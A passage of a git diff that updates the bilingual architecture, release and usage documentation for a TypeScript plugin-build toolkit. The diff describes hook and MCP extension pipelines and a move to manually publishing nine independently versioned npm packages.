转 `agent-` 指导 Skill。 +- [manifest.ts](../../packages/platforms/pi/src/manifest.ts):拥有真实 npm `package.json`,开放 `pi.extensions` 给 Hooks Adapter。 +- [validator.ts](../../packages/platforms/pi/src/validator.ts):验证 Pi discovery 路径、package 边界,并拒绝 workspace/private 运行时泄漏。 + +Pi 没有首期 MCP 配置,MCP Adapter 只报告 unsupported,不生成隐式客户端。 + +### 实现伪代码 + +```ts +prepare(project): + rejectCollisions(skillId, `agent-${id}`) + packageJson = createPublishablePiPackageManifest(options.package) + expose ['pi', 'extensions'] + +generateBundle(draft): + prompts = transformCommandsToPromptTemplates('$ARGUMENTS') + skills = emitNativeSkills() + agentSkills = emitGuidanceFallbacks() + return package(draft.artifacts + prompts + skills + agentSkills + packageJson) +``` + +改 Pi package manifest 时要同时考虑 npm 合法性、Pi discovery 和公开 tarball 字段,不能照搬 workspace 根 manifest。 + +## 12. `@tokenroll/acplugin-extension-hooks` + +### 12.1 内容与架构 + +- [types.ts](../../packages/extensions/hooks/src/types.ts):`defineHook()` 品牌、规范事件、事件级输入/结果类型、平台选项。 +- [discovery.ts](../../packages/extensions/hooks/src/discovery.ts):扫描 `src/hooks//hook.ts`、加载品牌定义、校验事件和字段。 +- [bundler.ts](../../packages/extensions/hooks/src/bundler.ts):每个 Hook 只 Bundle 一次,登记真实模块图并收集第三方许可证。 +- [runtime-source.ts](../../packages/extensions/hooks/src/runtime-source.ts):生成平台中立安全 Handler,限制输入输出和 JSON 深度,拦截作者 stdout/stderr/exit。 +- [wire-source.ts](../../packages/extensions/hooks/src/wire-source.ts):由 Adapter 生成平台协议 wire,负责 stdin/stdout 与 camelCase/规范结果映射。 +- [adapters.ts](../../packages/extensions/hooks/src/adapters.ts):六个平台事件矩阵、Artifact 布局、Document patch 和兼容性报告。 + +作者只实现语义函数: + +```ts +export default defineHook({ + event: 'PreToolUse', + async run(input, context) { + return { decision: 'allow', updatedInput: input.toolInput } + }, +}) +``` + +作者不能提交 shell 命令、原始平台 Handler、HTTP 回调或任意 stdout 协议。 + +### 12.2 数据流 + +```text +src/hooks//hook.ts +→ DiscoveredHook { id, sourcePath, branded definition } +→ validate event/matcher/timeout/platform options +→ BundledHook { definition, handler.mjs, optional licenses } +→ BuiltHooks(按 ID 稳定顺序) +→ 当前 Platform Adapter +→ handler.mjs + wire.mjs + 平台 Hook 配置 +→ Document patch(仅需要 manifest 引用的平台) +``` + +同一个平台中立 `handler.mjs` 被多个 Adapter 复用;每个平台贡献相邻 `wire.mjs`。这样作者逻辑不会为六个平台重复 Bundle,平台 stdin/stdout 协议也不会污染作者 API。 + +### 12.3 实现伪代码 + +```ts +function hooks(options) { + return defineExtension({ + discover: scanAndLoadBrandedHookDescriptors, + validate: validateCanonicalEventsAndConfiguredPlatformFields, + build: async discovered => { + for (hook of discovered.sortedHooks) { + runner = generateBoundedSemanticRunner(hook) + chunk = rolldownOneNode20EsmChunk(runner) + rejectNativeAddonsAndUnexpectedAssets(chunk) + collectThirdPartyLicenses(chunk) + } + return freezeBuiltHooks() + }, + adapters: sixOfficialAdapters, + }) +} + +adapter.apply(context, built): + for each applicable supported hook: + reportExactEventAndFieldCompatibility() + context.emitArtifact(handler, wire, optionalLicenses) + emitPlatformHookManifestOrRuntimePlugin() + context.patchDocument(onlyWhenPlatformExposesRequiredPoint) +``` + +运行时失败只输出固定错误码;原始顶层异常、stdout/stderr 和 Secret 不进入报告或交付协议。 + +## 13. `@tokenroll/acplugin-extension-mcp` + +### 13.1 内容与架构 + +- [types.ts](../../packages/extensions/mcp/src/types.ts):`defineMcpServer()` 品牌、HTTP/stdio 判别联合、literal/env 值来源。 +- [discovery.ts](../../packages/extensions/mcp/src/discovery.ts):扫描 `src/mcp//mcp.ts`,校验 HTTPS/auth/header 或本地入口边界。 +- [bundler.ts](../../packages/extensions/mcp/src/bundler.ts):stdio 单 chunk Bundle、动态 import/原生 addon 拒绝、许可证和真实协议 smoke。 +- [adapters.ts](../../packages/extensions/mcp/src/adapters.ts):把规范 Server 映射为各平台配置和文件布局。 +- [index.ts](../../packages/extensions/mcp/src/index.ts):HTTP-only 路径不加载 Rolldown;出现 stdio 时才动态 import `bundler.mjs`。 + +两种作者输入有不同数据性质: + +```ts +defineMcpServer({ + transport: 'http', + url: 'https://example.com/mcp', + auth: { type: 'bearer', env: 'MCP_TOKEN' }, // 只记录变量名 +}) + +defineMcpServer({ + transport: 'stdio', + entry: './server.ts', // 必须是完整 MCP Server + env: { LOG_LEVEL: { value: 'warn' }, TOKEN: { env: 'MCP_TOKEN' } }, +}) +``` + +### 13.2 数据流 + +```text +src/mcp//mcp.ts +→ DiscoveredMcpServer +→ HTTP 安全策略 / stdio 入口验证 +→ HTTP: 直接进入 BuiltMcpServer +→ stdio: Rolldown → server.mjs → initialize/tools/list smoke +→ BuiltMcpServers +→ 当前 Platform Adapter +→ 配置 Document patch 和/或 server.mjs Artifact +``` + +`{ env: 'NAME' }` 的值在构建时永远不会从 `process.env.NAME` 读取。stdio smoke 也只获得显式 `{ value }` 字面量,使用固定超时、总输出上限和脱敏失败类别。 + +### 13.3 实现伪代码 + +```ts +function mcp(options) { + return defineExtension({ + discover: scanAndLoadBrandedMcpDescriptors, + validate: validatePortableHttpOrCompleteLocalStdio, + build: async discovered => { + if (allServersAreHttp) + return freezeDefinitionsWithoutLoadingRolldown() + + bundler = await import('./bundler.mjs') + for (server of discovered.sortedServers) { + if (server.transport === 'stdio') { + chunk = bundler.singleNode20EsmChunk(server.entry) + rejectNativeAddonAssetsAndUnresolvedDynamicImports(chunk) + await smokeInitializeAndToolsList(chunk, literalEnvironmentOnly) + } + } + return freezeBuiltServers() + }, + adapters: sixOfficialAdapters, + }) +} +``` + +平台适配概况: + +| Platform | HTTP | stdio | Adapter 主要输出 | +| --- | --- | --- | --- | +| Claude Code | 支持 | 支持 | `.mcp.json` + manifest `mcpServers` 引用 + 可选 bundle | +| Codex | 支持 | 支持 | MCP server map + manifest 引用 + 可选 bundle | +| Cursor | 支持 | 不支持 | remote-only `mcp.json` | +| Antigravity | 支持 | 不支持 | `mcp_config.json` | +| OpenCode | 支持 | 支持 | patch `opencode.json.mcp` + 可选本地 bundle | +| Pi | 不支持 | 不支持 | 只报告 unsupported,不伪造配置 | + +## 14. `@acplugin/test`:跨包验收层 + +### 14.1 它与 package 内测试的区别 + +Package 内测试负责局部算法: + +- `packages/core/test/`:Schema、图、Registry、生命周期、锁和事务。 +- `packages/platforms//test/`:转换、golden 和最终 Validator。 +- `packages/extensions//test/`:作者协议、Bundle、Adapter 和运行时。 + +`packages/test` 负责只有“多个包真实装配后”才能验证的事情: + +- [build.test.ts](../../packages/test/test/build.test.ts):完整多平台构建、确定性和提交树。 +- [cli.test.ts](../../packages/test/test/cli.test.ts):真实 CLI 子进程、stdout/stderr、退出码和 dev 恢复。 +- [migration.test.ts](../../packages/test/test/migration.test.ts):隔离 Migration 到规范工程的集成。 +- [architecture.test.ts](../../packages/test/test/architecture.test.ts):旧 Compiler/Module 架构不回流。 +- [package-boundaries.test.ts](../../packages/test/test/package-boundaries.test.ts):私有依赖内联、九个公开包边界、peer rewrite、主包无集成 re-export/subpath。 +- [repository.test.ts](../../packages/test/test/repository.test.ts):workflow、Node 范围和仓库契约。 +- `claude-code.test.ts`、`codex.test.ts`、`secondary-platforms.test.ts`:跨包平台语义。 +- `hooks.test.ts`、`ecosystem-contract.test.ts`:Extension 生命周期和第三方契约。 + +### 14.2 数据流与伪代码 + +[Vitest 配置](../../packages/test/vitest.config.ts)把大部分包名 alias 到 workspace 源码,方便精确覆盖。Platform 单测的 test-only alias 会让私有 Core 与主包 SDK 指向同一源码实例,以验证真实 Symbol 品牌语义;生产包仍只 import 主包。`pretest` 会构建真实 package `dist`,供 CLI/包边界测试读取。 + +```ts +pretest: + build(Core) + build(publicPlatformsAndExtensions) + build(publicMain) + +vitest: + unitLikeIntegrationUsesWorkspaceSourceAliases() + cliTestsSpawnRealDistCli() + packageBoundaryTestsInspectRealDistAndDeclarations() + determinismTestsBuildEquivalentProjectsInDifferentRootsAndEnvironments() + +release:verify(Vitest 之外): + packNineIndependentlyVersionedTarballsFromOneRevision() + inspectEsmGraphPeerRewriteAndRuntimeDependencies() + verifyOfficialAndThirdPartyBrandInteroperability() + installAndRunCleanTarballConsumers() +``` + +选择测试位置的原则:如果错误只在一个 Registry 或转换器内发生,放所属 package;如果需要 façade、CLI、多个包、真实 bundle/tarball 或事务树共同出现,放 `packages/test`。 + +## 15. 快速定位:我要改什么,先看哪里 + +| 任务 | 第一落点 | 通常需要同步检查 | +| --- | --- | --- | +| 新增/修改规范 Component 字段 | Core `types.ts`、`scanner.ts` | 六平台 components、兼容性、Scanner 测试 | +| 修改生命周期阶段或 Context | Core `contracts.ts`、`lifecycle.ts` | 第三方契约测试、全部 Platform/Extension 类型测试 | +| 修改 Document 合并 | Core `documents.ts` | owner 冲突、顺序语义、生态契约测试 | +| 修改 Artifact 路径/来源 | Core `artifacts.ts`、`output-paths.ts` | DeliveryUnit、事务、跨 owner 安全测试 | +| 修改最终输出提交 | Core `transaction.ts` | 每阶段 fault injection、恢复、旧输出保留 | +| 修改 CLI 参数/退出码 | 主包 `cli.ts` | CLI 子进程 JSON/文本测试 | +| 修改 dev 监听 | 主包 `project-config.ts`、`run-project.ts`、`cli.ts` | 配置依赖、外部 package、watch 恢复测试 | +| 修改某平台文件格式 | 对应 Platform `components.ts`/manifest | Validator、golden、兼容性矩阵 | +| 修改 Hook 作者语义 | Hooks `types.ts`/`discovery.ts` | runner、wire、六平台 Adapter | +| 修改 MCP transport/auth | MCP `types.ts`/`discovery.ts` | bundler smoke、所有 Adapter、Secret 测试 | +| 修改发布边界 | package manifest、tsdown、verify script | publint、ATTW、tarball consumer、ESM import graph | + +## 16. 推荐阅读顺序 + +第一次完整上手可按以下顺序: + +1. 主包 [src/index.ts](../../packages/acplugin/src/index.ts),先知道公开表面有多小。 +2. Core [contracts.ts](../../packages/core/src/contracts.ts) 和 [types.ts](../../packages/core/src/types.ts),建立数据模型。 +3. Core [lifecycle.ts](../../packages/core/src/lifecycle.ts),沿固定顺序看主控制流。 +4. Core [documents.ts](../../packages/core/src/documents.ts)、[artifacts.ts](../../packages/core/src/artifacts.ts)、[transaction.ts](../../packages/core/src/transaction.ts),理解三个关键安全边界。 +5. 任选一个简单 Platform(Cursor 或 OpenCode)读完 `index → components → manifest/config → validator`。 +6. 再读 Codex,理解 fallback、兼容性和复杂 Validator。 +7. 最后读 Hooks/MCP 的 `types → discovery → bundler → adapters`,理解横向能力如何不侵入 Platform。 +8. 用 `packages/test` 中对应集成测试反向验证自己的理解。 + +本仓库的核心判断口诀是:**谁拥有数据、谁能读取来源、谁负责最终验证、失败时旧输出是否仍完整。** 遇到新需求时先回答这四个问题,通常就能找到正确 package 和正确抽象层。 diff --git a/llmdoc/guides/release.md b/llmdoc/guides/release.md index 82af952..b79e214 100644 --- a/llmdoc/guides/release.md +++ b/llmdoc/guides/release.md @@ -1,32 +1,39 @@ -# Manually releasing the public package cohort +# Manually releasing independently versioned public packages > [中文对照](release.zh-CN.md) -The public packages are released at one version: +The repository has nine independently versioned public packages: - `@tokenroll/acplugin` +- `@tokenroll/acplugin-platform-claude-code` +- `@tokenroll/acplugin-platform-codex` +- `@tokenroll/acplugin-platform-cursor` +- `@tokenroll/acplugin-platform-antigravity` +- `@tokenroll/acplugin-platform-opencode` +- `@tokenroll/acplugin-platform-pi` - `@tokenroll/acplugin-extension-hooks` - `@tokenroll/acplugin-extension-mcp` -Core, the six built-in Platform packages, and the test workspace are private and must not be published or appear as packed runtime dependencies. Every npm publication, Registry check, Git tag, and GitHub Release is performed manually by an authorized maintainer. The repository has no automated publication workflow. +Core and the test workspace are private and must not be published or appear as packed runtime dependencies. Every npm publication, Registry check, Git tag, and GitHub Release is performed manually by an authorized maintainer. The repository has no automated publication workflow. -Repository build and release tooling requires Node.js `^22.18.0 || >=24.11.0`; CI uses 22.18.0. The published packages retain the separate runtime range `^20.19.0 || ^22.13.0 || >=23.5.0`. +Repository build and release tooling requires Node.js `^22.18.0 || >=24.11.0`; CI uses 22.18.0. All nine public packages currently declare the separate runtime range `^20.19.0 || ^22.13.0 || >=23.5.0`. ## Repository workflows `Check` runs automatically for pull requests and performs only lint and typecheck. -`Verify` is manually dispatched with read-only repository permissions. It builds and fully validates the three tarballs on Node 22.18, uploads that exact artifact set, then downloads and consumes it in a clean Node 20.19 project. It never publishes or creates release references. +`Verify` is manually dispatched with read-only repository permissions. It builds and validates all nine tarballs from one revision on Node 22.18, uploads that exact artifact set, then consumes it in a clean Node 20.19 project. It never publishes or creates release references. Verifying one revision together does not make the packages a fixed version cohort. -`Patch` is manually dispatched from the repository default branch with a required target-branch input. The target branch must contain at least one effective Changeset that produces a public-package release; an empty Changeset does not pass the gate. Before any version write, the workflow checks the release plan with `pnpm changeset status`. It then consumes all Changesets with `pnpm version-packages`, verifies that the fixed public cohort version changed, refreshes the pnpm lockfile, runs lint and typecheck, and creates or updates a version PR whose base is the selected target branch. +`Patch` is manually dispatched from the repository default branch with a required target-branch input. The target branch must contain at least one effective Changeset that releases a public package; an empty Changeset does not pass the gate. Before any version write, the workflow checks the release plan with `pnpm changeset status`. It then consumes all Changesets with `pnpm version-packages`, verifies that at least one public version changed, refreshes the pnpm lockfile, runs lint and typecheck, and creates or updates a version PR whose base is the selected target branch. The repository setting **Actions → General → Workflow permissions → Allow GitHub Actions to create and approve pull requests** must be enabled for `Patch` to create the PR with `GITHUB_TOKEN`. The workflow does not publish packages or create release references. ## Prepare a release -1. Add a Changeset for user-visible changes and version the fixed package group with `pnpm version-packages`. -2. Confirm all three public manifests have the same version and Extension peer dependencies still use `workspace:^` in the repository. -3. Run: +1. Add Changesets for the affected public packages. Integration changes should name their owning Platform or Extension package; change the main package only when its CLI or public SDK changes. +2. Inspect `pnpm changeset status`, consume the Changesets with `pnpm version-packages`, refresh the lockfile with `pnpm install --lockfile-only`, and confirm only the intended manifests changed. Versions need not match. +3. Confirm every official Platform/Extension still declares `@tokenroll/acplugin` as `workspace:^` in the repository. Packing must rewrite it to a normal `^x.y.z` peer range. +4. Run: ```bash pnpm install --frozen-lockfile @@ -34,55 +41,41 @@ The repository setting **Actions → General → Workflow permissions → Allow pnpm run release:verify ``` -`release:verify` packs all three packages in a temporary directory, runs type-resolution and package-lint checks on the actual tarballs, checks their manifests and contents, installs them into a clean external consumer, then imports/builds the default project and a generated six-Platform/two-Extension scaffold. For the main package it parses the packed ESM graph, proves the CLI-to-Migration edge remains lazy, checks every external import against declared runtime dependencies, and rejects any runtime edge to the optional MCP Extension. It never publishes. CI passes `--tarball-dir ` to retain the exact verified files for the separate Node 20.19 consumer job; local calls omit the flag and clean their temporary files. +`release:verify` packs all nine packages in a temporary directory, runs type-resolution and package-lint checks on the actual tarballs, validates manifests and contents, verifies peer rewriting and private Symbol-brand interoperability through one main-package peer instance, then installs and builds a six-Platform/two-Extension scaffold in a clean external consumer. For the main package it parses the packed ESM graph, proves the CLI-to-Migration edge remains lazy, checks every external import against declared runtime dependencies, and rejects normal runtime dependencies on official integrations. It never publishes. CI passes `--tarball-dir ` to retain the exact verified files for the separate Node 20.19 consumer job; local calls can use the same option when tarballs need to be retained for release. -Commit the exact verified release preparation to `main` before packing the artifacts that will be published. +Commit the exact verified release preparation before publishing. Do not rebuild from another revision after verification. -## Pack the release cohort +## Select the tarballs to publish -Create a private temporary directory outside the repository and pack in dependency-safe order: +Publish only packages whose versions changed in the release plan. Retain or download the exact nine-tarball artifact set produced by `release:verify`, then select the changed package tarballs from that set. The unchanged tarballs are cross-package verification inputs, not releases. -```bash -ACPLUGIN_RELEASE_DIR="$(mktemp -d)" -pnpm --filter @tokenroll/acplugin-extension-hooks pack --pack-destination "$ACPLUGIN_RELEASE_DIR" -pnpm --filter @tokenroll/acplugin-extension-mcp pack --pack-destination "$ACPLUGIN_RELEASE_DIR" -pnpm --filter @tokenroll/acplugin pack --pack-destination "$ACPLUGIN_RELEASE_DIR" -``` +Before publishing an integration, inspect its packed peer range for `@tokenroll/acplugin`: -Inspect the three generated tarball paths before continuing. They must be produced from the same verified revision and carry one exact version. +- if that range requires a new main-package version from the same release, publish and verify the main package first; +- if the range is already satisfied in the Registry, the integration can be published independently; +- Platform and Extension packages have no ordering dependency on one another. ## Publish manually -An authorized TokenRoll npm organization maintainer publishes each generated tarball with 2FA. Use this strict order: - -1. `@tokenroll/acplugin-extension-hooks` -2. `@tokenroll/acplugin-extension-mcp` -3. `@tokenroll/acplugin` - -For each tarball, run the publication and exact-version check manually before continuing: +An authorized TokenRoll npm organization maintainer publishes each selected tarball with 2FA and immediately checks its exact version: ```bash npm publish --access public --otp npm view @ version ``` -Do not publish private `@acplugin/*` packages. If publication is interrupted, query every exact version and continue only with the first missing package in the prescribed order; npm versions are immutable and must not be republished. +If publication is interrupted, query every planned exact version and continue only with missing versions whose peer dependencies are already available. npm versions are immutable and must not be republished. -## Create the release references manually - -Only after all three exact npm versions are visible in the Registry may a maintainer create and push the matching tag: - -```bash -git tag tokenroll-vX.Y.Z -git push origin tokenroll-vX.Y.Z -``` +## Create release references manually -The tag does not trigger publication. Create the GitHub Release manually after verifying the pushed tag and all three Registry versions. +The old single-cohort `tokenroll-vX.Y.Z` tag cannot represent independently versioned packages and no longer applies. After an exact package version is visible in the Registry, a maintainer may create its package-specific tag and GitHub Release using the repository's separately approved naming convention. Do not guess or automate that convention in a workflow. ## Safety rules - Never use `npm unpublish` or mutate dist-tags as part of recovery. -- Never create or push the tag before all three exact npm versions are verified. +- Never publish an integration before its packed main-package peer range exists in the Registry. - Never publish private `@acplugin/*` workspace packages. +- Never publish an unchanged package merely because all nine were verified together. +- Never create or push release references before their exact npm versions are verified. - Never add or invoke automated npm publication, Tag creation, or GitHub Release automation without an explicit project decision. -- Remove the private temporary tarball directory after the release audit is complete. +- Remove private temporary tarball directories after the release audit is complete. diff --git a/llmdoc/guides/release.zh-CN.md b/llmdoc/guides/release.zh-CN.md index 01eafda..463038f 100644 --- a/llmdoc/guides/release.zh-CN.md +++ b/llmdoc/guides/release.zh-CN.md @@ -1,32 +1,39 @@ -# 手动发布公开包组 +# 手动发布独立版本化的公开 package > [English version](release.md) -以下公开包使用同一个版本发布: +仓库包含九个独立版本化的公开 package: - `@tokenroll/acplugin` +- `@tokenroll/acplugin-platform-claude-code` +- `@tokenroll/acplugin-platform-codex` +- `@tokenroll/acplugin-platform-cursor` +- `@tokenroll/acplugin-platform-antigravity` +- `@tokenroll/acplugin-platform-opencode` +- `@tokenroll/acplugin-platform-pi` - `@tokenroll/acplugin-extension-hooks` - `@tokenroll/acplugin-extension-mcp` -Core、六个内置 Platform 包和测试工作区是私有包,不能发布,也不能作为运行时依赖出现在 tarball 中。所有 npm 发布、Registry 检查、Git Tag 和 GitHub Release 均由获得授权的维护者手动执行。仓库没有自动发布工作流。 +Core 与测试工作区是私有包,不能发布,也不能作为运行时依赖出现在 tarball 中。所有 npm 发布、Registry 检查、Git Tag 和 GitHub Release 均由获得授权的维护者手工执行。仓库没有自动发布工作流。 -仓库构建与发布工具要求 Node.js `^22.18.0 || >=24.11.0`,CI 固定使用 22.18.0;三个公开包继续使用独立的运行时范围 `^20.19.0 || ^22.13.0 || >=23.5.0`。 +仓库构建与发布工具要求 Node.js `^22.18.0 || >=24.11.0`,CI 固定使用 22.18.0;九个公开 package 当前都声明独立的运行时范围 `^20.19.0 || ^22.13.0 || >=23.5.0`。 ## 仓库工作流 `Check` 在 Pull Request 创建时自动执行,并且只运行 lint 和 typecheck。 -`Verify` 仅能手工触发,并使用只读仓库权限。它先在 Node 22.18 上构建并完整验证三个 tarball,上传这组精确 Artifact,再在干净的 Node 20.19 工程中下载并消费同一组文件;不会发布或创建 Release 引用。 +`Verify` 仅能手工触发,并使用只读仓库权限。它在 Node 22.18 上从同一 Revision 构建和验证九个 tarball,上传这组精确 Artifact,再在干净的 Node 20.19 工程中消费同一组文件;不会发布或创建 Release 引用。同一 Revision 一起验证不代表这些 package 属于固定版本组。 -`Patch` 从仓库默认分支手动触发,必须提供目标分支。目标分支必须至少包含一个让公开包产生版本变更的有效 Changeset;空 Changeset 不满足门禁。工作流会检出目标分支,使用 `pnpm changeset status` 在任何版本写入前验证发布计划,再用 `pnpm version-packages` 消费全部 Changeset,验证固定公开包组的版本发生了变化,刷新 pnpm lockfile,运行 lint 和 typecheck,然后创建或更新一个以所选目标分支为 base 的版本 PR。 +`Patch` 从仓库默认分支手工触发,必须提供目标分支。目标分支必须至少包含一个让公开 package 产生发布的有效 Changeset;空 Changeset 不满足门禁。工作流会在任何版本写入前使用 `pnpm changeset status` 验证发布计划,再用 `pnpm version-packages` 消费全部 Changeset,确认至少一个公开版本发生变化,刷新 pnpm lockfile,运行 lint 和 typecheck,然后创建或更新一个以所选目标分支为 base 的版本 PR。 -为了让 `Patch` 使用 `GITHUB_TOKEN` 创建 PR,必须启用仓库设置 **Actions → General → Workflow permissions → Allow GitHub Actions to create and approve pull requests**。该工作流不会发布包,也不会创建任何 Release 引用。 +为了让 `Patch` 使用 `GITHUB_TOKEN` 创建 PR,必须启用仓库设置 **Actions → General → Workflow permissions → Allow GitHub Actions to create and approve pull requests**。该工作流不会发布 package,也不会创建任何 Release 引用。 ## 准备发布 -1. 为用户可见变更添加 Changeset,并通过 `pnpm version-packages` 更新固定包组版本; -2. 确认三个公开清单版本完全相同,且仓库中的 Extension Peer Dependency 仍使用 `workspace:^`; -3. 运行: +1. 为受影响的公开 package 添加 Changeset。集成实现变更应指向所属 Platform/Extension;只有 CLI 或公开 SDK 变化时才更新主包。 +2. 检查 `pnpm changeset status`,使用 `pnpm version-packages` 消费 Changeset,再用 `pnpm install --lockfile-only` 刷新 lockfile,并确认只有预期 manifest 发生变化;各 package 版本无需相同。 +3. 确认所有官方 Platform/Extension 在仓库中仍把 `@tokenroll/acplugin` 声明为 `workspace:^`;pack 后必须改写成普通 `^x.y.z` peer range。 +4. 运行: ```bash pnpm install --frozen-lockfile @@ -34,55 +41,41 @@ Core、六个内置 Platform 包和测试工作区是私有包,不能发布, pnpm run release:verify ``` -`release:verify` 会在临时目录中打包三个包,对实际 tarball 执行类型解析与 Package Lint,检查清单和内容,再安装到干净的外部消费者中,验证默认工程以及自动生成的六 Platform/两 Extension 脚手架。对于主包,它会解析 tarball 内真实 ESM 图,证明 CLI 到 Migration 的边仍是 lazy,逐条核对外部 import 与已声明运行时依赖,并拒绝任何指向可选 MCP Extension 的运行时边。它绝不会发布任何内容。CI 通过 `--tarball-dir ` 保留精确验证过的文件,供独立 Node 20.19 consumer job 使用;本地调用省略该参数并清理临时文件。 +`release:verify` 会在临时目录中打包九个 package,对实际 tarball 执行类型解析与 Package Lint,检查 manifest 和内容,验证 peer rewrite,以及经同一主包 peer 实例产生的私有 Symbol 品牌互操作,再在干净外部消费者中安装并构建六 Platform/两 Extension 脚手架。对于主包,它会解析 tarball 内真实 ESM 图,证明 CLI 到 Migration 的边仍是 lazy,逐条核对外部 import 与已声明运行时依赖,并拒绝主包正常运行图对官方集成产生依赖。它绝不会发布任何内容。CI 通过 `--tarball-dir ` 保留精确验证过的文件,供独立 Node 20.19 consumer job 使用;本地需要保留待发布 tarball 时也可使用该参数。 -在打包最终待发布产物前,必须把经过精确验证的发布准备提交到 `main`。 +发布前必须提交这份精确验证过的发布准备。验证后不得从另一个 Revision 重新构建待发布文件。 -## 打包发布包组 +## 选择待发布 tarball -在仓库外创建私有临时目录,并按照依赖安全顺序打包: +只发布本次计划中版本发生变化的 package。保留或下载 `release:verify` 产生的九 tarball 精确 Artifact 集,再从中选择变更 package 对应的 tarball。未变化的 tarball 只是跨包验证输入,不是待发布版本。 -```bash -ACPLUGIN_RELEASE_DIR="$(mktemp -d)" -pnpm --filter @tokenroll/acplugin-extension-hooks pack --pack-destination "$ACPLUGIN_RELEASE_DIR" -pnpm --filter @tokenroll/acplugin-extension-mcp pack --pack-destination "$ACPLUGIN_RELEASE_DIR" -pnpm --filter @tokenroll/acplugin pack --pack-destination "$ACPLUGIN_RELEASE_DIR" -``` +发布集成 package 前,检查其 tarball 中 `@tokenroll/acplugin` 的 peer range: -继续之前检查三个生成的 tarball 路径。它们必须来自同一个已验证 Revision,并携带完全相同的版本。 +- 如果该范围要求同次发布中的新主包版本,先发布并验证主包; +- 如果 Registry 中已有主包版本满足该范围,集成可以独立发布; +- 各 Platform 与 Extension 之间没有发布顺序依赖。 ## 手动发布 -由获得授权的 TokenRoll npm 组织维护者使用 2FA 发布每个 tarball。严格遵循以下顺序: - -1. `@tokenroll/acplugin-extension-hooks` -2. `@tokenroll/acplugin-extension-mcp` -3. `@tokenroll/acplugin` - -每个 tarball 发布后,必须手动检查精确版本,再继续下一个: +由获得授权的 TokenRoll npm 组织维护者使用 2FA 发布每个选中的 tarball,并立即检查其精确版本: ```bash npm publish --access public --otp npm view @ version ``` -禁止发布私有 `@acplugin/*` 包。如果发布过程被中断,查询每个精确版本,并且只从规定顺序中第一个缺失的包继续。npm 版本不可变,不能重复发布。 +如果发布过程被中断,查询计划中的每个精确版本,只继续发布 peer dependency 已可满足且 Registry 中仍缺失的版本。npm 版本不可变,不能重复发布。 ## 手动创建 Release 引用 -只有在 Registry 中可以查询到三个精确 npm 版本后,维护者才可以创建并推送匹配 Tag: - -```bash -git tag tokenroll-vX.Y.Z -git push origin tokenroll-vX.Y.Z -``` - -该 Tag 不会触发发布。确认推送后的 Tag 和三个 Registry 版本后,再手动创建 GitHub Release。 +旧的单一 package cohort `tokenroll-vX.Y.Z` Tag 无法表达独立版本,已不再适用。在 Registry 可查询到某个 package 的精确版本后,维护者可以按照仓库另行确认的命名约定创建该 package 专属 Tag 和 GitHub Release。不要在 Workflow 中猜测或自动化尚未确认的命名格式。 ## 安全规则 - 恢复过程中绝不使用 `npm unpublish`,也不修改 dist-tag; -- 在验证三个精确 npm 版本前,绝不创建或推送 Tag; -- 绝不发布私有 `@acplugin/*` 工作区包; +- 集成 tarball 的主包 peer range 尚未存在于 Registry 时,绝不发布该集成; +- 绝不发布私有 `@acplugin/*` 工作区 package; +- 不因九个 package 一起验证就重复发布未变化的 package; +- 在验证对应 npm 精确版本前,绝不创建或推送 Release 引用; - 未经明确项目决策,绝不添加或调用自动 npm 发布、Tag 创建或 GitHub Release 自动化; - 发布审计结束后,删除保存 tarball 的私有临时目录。 diff --git a/llmdoc/guides/usage.md b/llmdoc/guides/usage.md index ae51786..2385960 100644 --- a/llmdoc/guides/usage.md +++ b/llmdoc/guides/usage.md @@ -13,7 +13,7 @@ pnpm install pnpm build ``` -`init` can add the official Hooks and MCP Extensions with `--hooks` and `--mcp`. The default configuration builds Claude Code and Codex and uses `src/`, `public/`, and `dist/`. Select any supported set explicitly: +`init` can add the official Hooks and MCP Extensions with `--hooks` and `--mcp`. Without `--platform`, its scaffolding selection is Claude Code and Codex; it still writes both Platform dependencies, imports, and config entries explicitly. Select any supported set instead: ```bash pnpm dlx @tokenroll/acplugin init my-plugin --yes \ @@ -21,7 +21,7 @@ pnpm dlx @tokenroll/acplugin init my-plugin --yes \ --hooks --mcp ``` -An enabled Extension adds its dependency, import, config entry, and empty source directory; `init` never invents a Hook handler or MCP server. +Every selected Platform is an independent package. An enabled Extension similarly adds its dependency, import, config entry, and empty source directory; `init` never invents a Hook handler or MCP server. The build runtime has no default package discovery or installation behavior. Known `init` input errors use the stable `INIT_INVALID` diagnostic and preserve a safe actionable reason. The specialized error class remains internal and is not exported from the public facade. @@ -33,11 +33,14 @@ The required top-level identity belongs directly in `acplugin.config.ts`: ```ts import { defineConfig } from '@tokenroll/acplugin'; +import claudeCode from '@tokenroll/acplugin-platform-claude-code'; +import codex from '@tokenroll/acplugin-platform-codex'; export default defineConfig({ name: 'my-plugin', version: '1.0.0', description: 'Reusable AI workflows.', + platforms: [claudeCode(), codex()], }); ``` @@ -61,10 +64,16 @@ pnpm exec acplugin dev Common options are `--config`, `--platform `, `--mode`, `--no-strict`, and `--json`. Strict mode is on by default. For example, a Codex build containing an Agent fails because Codex can only receive an explicit degraded Skill fallback; use `--no-strict` when that result is intentional. -To configure non-default Platforms in an existing project, use the exported factories: +To configure Platforms in an existing project, install and import each package explicitly: ```ts -import { antigravity, claudeCode, codex, cursor, defineConfig, openCode, pi } from '@tokenroll/acplugin'; +import { defineConfig } from '@tokenroll/acplugin'; +import antigravity from '@tokenroll/acplugin-platform-antigravity'; +import claudeCode from '@tokenroll/acplugin-platform-claude-code'; +import codex from '@tokenroll/acplugin-platform-codex'; +import cursor from '@tokenroll/acplugin-platform-cursor'; +import openCode from '@tokenroll/acplugin-platform-opencode'; +import pi from '@tokenroll/acplugin-platform-pi'; export default defineConfig({ name: 'my-plugin', @@ -75,7 +84,7 @@ export default defineConfig({ }); ``` -OpenCode output is a workspace overlay and Pi output is an npm package. They are not mislabeled as static Plugins. See the [Platform support matrix](../reference/conversion-matrix.md) before enabling strict multi-Platform builds. +`platforms` is required and `--platform ` only filters IDs already instantiated in that list. The main package does not re-export official factories or provide Platform subpaths. OpenCode output is a workspace overlay and Pi output is an npm package. They are not mislabeled as static Plugins. See the [Platform support matrix](../reference/conversion-matrix.md) before enabling strict multi-Platform builds. ## Public files diff --git a/llmdoc/guides/usage.zh-CN.md b/llmdoc/guides/usage.zh-CN.md index 3b3459d..645fba4 100644 --- a/llmdoc/guides/usage.zh-CN.md +++ b/llmdoc/guides/usage.zh-CN.md @@ -13,7 +13,7 @@ pnpm install pnpm build ``` -`init` 可通过 `--hooks` 和 `--mcp` 加入官方 Hooks/MCP Extension。默认配置会构建 Claude Code 和 Codex,并使用 `src/`、`public/` 和 `dist/` 